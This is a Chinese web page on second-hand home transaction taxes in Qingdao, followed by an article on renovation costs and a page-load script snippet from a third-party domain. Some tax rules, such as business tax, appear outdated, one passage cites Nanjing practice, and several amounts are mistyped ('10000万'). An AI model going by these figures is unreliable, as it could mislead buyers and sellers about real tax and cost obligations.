青岛二手房交易税费是多少

二手房成交量有时候并不输给一手房，你会看到很多城市一手房卖得不怎么样的时候，二手房销量反而一直稳定增长中。购买二手房的人可能是为了地段，可能是为了小孩上学，也能是为了其他因素等。二手房交易的速度会比一手房复杂很多，其中涉及到的税费就是很多人想要了解清楚的，那么青岛二手房交易税费是多少?一起来看看具体的税费项目。青岛二手房交易税费1、契税(买房人交)家庭唯一住房非家庭唯一住房面积<90㎡1%3%90㎡≤面积<144㎡1.5%面积≥144㎡3%2、营业税(按规定应由卖房人交，但在实际过程中会有转嫁给买房人的情况)购房时间≥5年购房时间<5年普通住宅免征计税价格*5.55%非普通住宅(计税价格-购房价格)*5.55%普通住宅：住宅面积≤144㎡且容积率≥1.0计税价格：按《房屋买卖契约》上的售房价格与同类地区同类房屋市场价格，按"孰高"原则予以确认。购房价格：根据纳税人提供的《销售不动产发票》确定。满5年如何界定：(1)按市场价格购买的住房以《房屋产权证》上记载的日期和《契税完税证》的填发日期，按"孰先"原则确认。(2)按房改政策购买的住房以《房屋产权证》上记载的日期、《公有住房购买契约》的签定日期和付款收据时间，按"孰先"原则确认。(3)继承或直系亲属赠予取得的住房，购房时间可以从原产权人购房时间连续计算。(4)非直系亲属赠予取得的住房。购房时间从受赠产权时间开始计算。3、个税(按规定应由卖房人交，但在实际过程中会有转嫁给买房人的情况)购房时间≥5年购房时间<5年住宅家庭唯一住宅可免核定征收1%或查验征收20%查验征收：纳税人能够提供房屋原值等费用发票，个人所得税=(计税价格-原值-契税-相关税费-合理费用)×20%核定征收：纳税人不能提供房屋原值等费用发票，个人所得税=计税价格×1%(南京目前按此标准征收个税)家庭唯一住房：指没有其他的住房，至于纳税人本人或者配偶在外地有没有住房、有几套住房，都是不管的。纳税人名下如果有其他的期房，只要购房记录能查到，即使房产证没有办下来，也不予认定为"唯一住房"。从以上的税费明细可以得出：1、法定继承人之间过户继承最划算法定继承人之间的过户，继承最划算，除了公证费无需交纳任何税费，非法定继承人之间的只能通过赠予或者买卖过户。提醒：在实际操作中，因为继承是遗产人死后才可以进行产权过户，所以这种过户方式的人比较少。2、房子须缴营业税时赠予较划算如果房产交易未满5年，需要缴纳营业税的情况下，赠予比买卖过户划算。但是非直系亲属之间房产赠予过户后，再出售时要交20%的个税。直系亲属：指相互之间有一脉相承的血缘关系的上下各代亲属，如父母与子女、外祖父与外孙子女等。提醒：赠予过户获得的住房，如果是直系亲属之间赠予，再次出售和买卖过户获得的住房一样正常交税(营业税、个税和契税)，满五年且为家庭唯一住房可免征营业税和个税;非直系亲属之间通过赠予过户获得的住房，再次出售时需要缴纳20%的个税。(继承或直系亲属赠予取得的住房，购房时间可以从原产权人购房时间连续计算。非直系亲属赠予取得的住房。购房时间从受赠产权时间开始计算。)3、购买交易满5年家庭唯一住房税费最低实际生活中，买卖是最常见的房屋过户的形式。当购买交易满五年且为家庭唯一住房时，免征个税、营业税，此时缴纳的税费成本是相对较低的。如果买房人家庭没有其他住房，房子为90㎡以下的普通住宅，契税也可以按1%最低标准交，这种情况税费成本最低。青岛二手房交易税费是多少?综上所述二手房交易税费受很多因素影响，根据具体二手房交易情况不同，它收取的收费也是会不一样。在买卖二手房的时候如果想要知道交易税费，应该要在交易之前就请中介公司根据实际的情况算出来，让自己能够知道该套房子收费需要出交易税费，该出多少交易税费，避免有漏税、偷税等等行为，才不会代理不利影响。

这二手房装修一般花多少钱 需要注意些什么

现在很多人去购买二手的房子，买了二手房子之后肯定还会根据的想法进行再次的翻新装修的。要知道呢，重新装修二手房不是一件很简单的事情，这个涉及的装修问题反而比一手房还来得多哦。那很多的人就会去关心了这个二手房装修一般花多少钱呢？在装修的过程中有什么需要特别的注意的吗？有没有什么装修攻略以及技巧可以学习的。下面就来看看这些二手房装修一般花多少钱和一些其他的介绍内容吧。一、二手房装修的费用组成二手房的装修和新房的装修程序其实差不了多少的，但是二手房的装修会需要注意的问题、事项是比较多的。首先呢，二手房开始装修前需要先对它进行整体勘察，得请专业的人来看看具体什么情况，这个勘察费一般是2000元的。接下来呢就是对一些墙的拆除和重砌，这个一般包装装修公司，差不多要花费5000元到10000万的。再接下来呢，就是对对各种墙壁、地板、以及家具等的翻新，和重新安装，这个施工费一般10000万元，最后呢，要对二手房的水电进行相应的改造，水电路的重新布局等，这个一般是不能动太大的，这个的施工费一般是5000元。所以呢，这样算下来二手房装修一般花多少钱呢？加上其他的不可预见的费用等，一般要花5万元。二、二手房装修的注意事项在二手房的装修的时候，一定要注意拆除墙体的时候，有些墙是承重墙是不能拆除的，所以一定要找专业的人员来勘察现场的，不能自己乱来的。还有呢，就是水管的走线一般都是之前定好的，不能大改，怕破坏了整体结构，后期会有使用上的影响可能性哦。最后呢，装修的时候要避免不必要的浪费问题，有些东西可以重复利用的。总之呢，装修二手房是需要很专业的人来应付的，还有这个二手房装修一般花多少钱的问题也是需要专业人来估算下比较合理的，一定要多注意这些小细节哦。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();